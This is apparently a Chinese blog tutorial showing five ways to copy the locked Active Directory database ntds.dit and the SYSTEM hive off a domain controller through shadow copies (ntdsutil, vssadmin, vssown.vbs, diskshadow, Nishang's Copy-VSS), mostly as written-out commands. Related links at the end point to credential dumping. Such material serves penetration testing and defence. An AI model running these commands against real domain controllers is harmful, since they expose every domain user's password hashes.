一、简介

  通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件。使用windows本地卷影拷贝服务,就可以获得该文件的副本。

  在活动目录中,所有的数据都保存在ntds.dit中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被操作系统锁定的。在一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现ntds.dit的拷贝,VSS本质上属快照(Snamshot)技术的一种,主要用于备份和恢复(即使目标文件被系统锁定)。

二、实验

1.通过ntdsutil.exe提取ntds.dit

创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照
ntdsutil snapshot "mount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
复制ntds.dit
copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
卸载快照
ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
删除快照
ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
 
2.利用vssadmin提取ntds.dit
创建C盘的卷影拷贝
vssadmin create shadow /for=c:
卷影副本 ID: {26133fdb-5645-4596-840f-aa3b88993628}
卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
在创建的卷影拷贝中将ntds.dit复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\ntds.dit
删除快照
vssadmin delete shadows /for=c: /quiet
 
3.利用vssown.vbs提取ntds.dit
上传cscript.exe和vssown.vbs到域服务器上,查找ntds.dit的位置。
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters //得到ntds的默认路径:c:\ Windows\NTDS\ntds.dit
启动卷影拷贝服务 cscript //nologo vssown.vbs /start
创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
列出当前卷影拷贝
cscript vssown.vbs /list
ID:{654734BE-EB3B-4C62-BE64-2CD7FB491BF4}
存储位置:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
复制NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影拷贝
cscript vssown.vbs /delete {654734BE-EB3B-4C62-BE64-2CD7FB491BF4}
 
4.使用diskshadow导出ndts.dit
可以使用diskshadow.exe来执行命令。例如,将需要执行的命令“exec c:\windows\system\calc.exe”写入c:\command.txt文件。
echo exec c:\windows\system32\calc.exe > command.txt
type command.txt
diskshadow /s command.txt # 使用diskshadow执行txt中的命令。
diskshadow也可以用来导出ntds.dit 。将如下命令写入一个文件中去执行。
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit delete shadows all
list shadows all reset
exit
使用diskshadow执行c:\command.txt中的命令
diskshadow /s c:\command.txt
注意:使用diskshadow时必须切换到windows\system32\目录下执行命令,否则会报错。
导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit 的密钥,所以没有该密钥,将无法查看ntds.dit 中的信息。
reg save hklm\system c:\windows\temp\system.hive
 
5.使用ntdsutil的IFM创建卷影拷贝
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
然后将SYSTEM和SECURITY两项复制到c:\test\registry\文件夹下
ntds.dit 已经被复制到c:\test\active directory\文件夹下了。
将ntds.dit拖回本地后,在目标机器上将test文件夹删除
rmdir /s/q c:\test
在NiShang中有个powershell脚本Copy-VSS.ps1,将该脚本提取出来在域控制器中打开并运行。
Import-Module .\Copy-VSS.ps1
Copy-VSS
通过该脚本,可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录中。

使用卷影拷贝提取ntds.dit的更多相关文章

  1. 利用卷影拷贝服务提取ntds.dit

    0x01 前言 通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件.那么什么是ntds.dit呢? ntds.dit文件是一个数据库,用于存储A ...

  2. SharePoint 2013 和卷影复制服务(VSS)概述

    对备份供应商而言,卷影复制服务 (VSS) 使用集中式 API 简化了 Microsoft 服务器解决方案的备份.Microsoft SharePoint Foundation 包括一个参考 VSS ...

  3. Windows-删除Windows Server backup卷影副本

    现有环境中有一台Windows Server做过定期备份计划,时间太久未做清理操作,收到磁盘报警邮件后需要及时释放该空间,具体操作步骤如下: 当前备份计划信息如下: 清理步骤如下: 1.以管理身份运行 ...

  4. 清理Windows Serer Backup备份数据生成的卷影副本(DiskShadow命令)

    DiskShadow基本命令: 1.进入DiskShadow命令行: C:\>diskshadow 2.列出所有的卷影副本: DISKSHADOW> list shadows all 3. ...

  5. 域渗透——获得域控服务器的NTDS.dit文件

    0x00 前言 在之前的文章<导出当前域内所有用户hash的技术整理>曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制, 可用来导出域内所有用户hash.本 ...

  6. Windows中的权限设置、文件压缩、文件加密、磁盘配额和卷影副本

      目录 权限设置 文件夹的NTFS权限 文件的NTFS权限 NTFS权限的应用规则 文件压缩 文件加密 磁盘配额 卷影副本 权限设置的应用 遇到的一个权限问题的小bug 权限问题的实际应用 权限设置 ...

  7. Windows 10系统出现:“出现系统还原使用的卷影复制服务无法运行...”的问题解决

    在服务中是:Volume Shadow Copy和Microsoft Software Shadow Copy Provider这两项.把它开启.

  8. 6.Dump域内用户Hash姿势集合

    本文转自先知社区,原文链接:https://xz.aliyun.com/t/2527#toc-10 原文地址:https://pentestlab.blog/2018/07/04/dumping-do ...

  9. 获取域hash并破解

    ntds.dit ntds.dit是主要的AD数据库,存放在C:\Windows\NTDS\NTDS.dit,包括有关域用户,组和组成员身份的信息.它还包括域中所有用户的密码哈希值.为了进一步保护密码 ...

随机推荐

  1. 1087 有多少不同的值 (20 分)C语言

    当自然数 n 依次取 1.2.3.--.N 时,算式 ⌊n/2⌋+⌊n/3⌋+⌊n/5⌋ 有多少个不同的值?(注:⌊x⌋ 为取整函数,表示不超过 x 的最大自然数,即 x 的整数部分.) 输入格式: ...

  2. Leetcode1296划分数组为连续数字的集合

    解法1: 最暴力的方法,存每个数字出现的次数,排序之后,扫一遍,对于每个数字,看它后面连续的k-1个是否都存在. 耗时:404ms class Solution { public: bool isPo ...

  3. opencv利用svm训练

    ]]]]]])rand2 = np.array([[]]]]]])label = np.array([[]]]]]]]]]]])data = np.vstack((rand1]]])pt_data = ...

  4. 使用Java实现简单的Http服务器

    在Java中可以使用HttpServer类来实现Http服务器,该类位于com.sun.net包下(rt.jar).实现代码如下: 主程序类 package bg.httpserver; import ...

  5. 发布到远程存储库时遇到错误: Git failed with a fatal error.

    正在推送 master发布到远程存储库时遇到错误: Git failed with a fatal error.Authentication failed for 'http://1212121xxx ...

  6. Nginx的踩坑实录

    1.昨天在为一个新项目配置地址转发,搞了很久都没生效,日志也没有问题,但就是没到转发的目标机器上. nginx.conf 配置如下: location /prism{ proxy_pass http: ...

  7. pycharm 安装vue

    1.设置JS为ES6 2.安装vue.js 3.重启pycharm 4.检查

  8. Django 添加 app

    一.创建Django项目的时候添加 二.在终端创建app python manage.py startapp app名称 运行完命令后,要在settings.py文件中,添加配置文件

  9. 如何学习理解Redux Middleware

    Redux中的middleware其实就像是给你提供一个在action发出到实际reducer执行之前处理一些事情的机会.可以允许我们添加自己的逻辑在这段当中.它提供的是位于 action 被发起之后 ...

  10. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...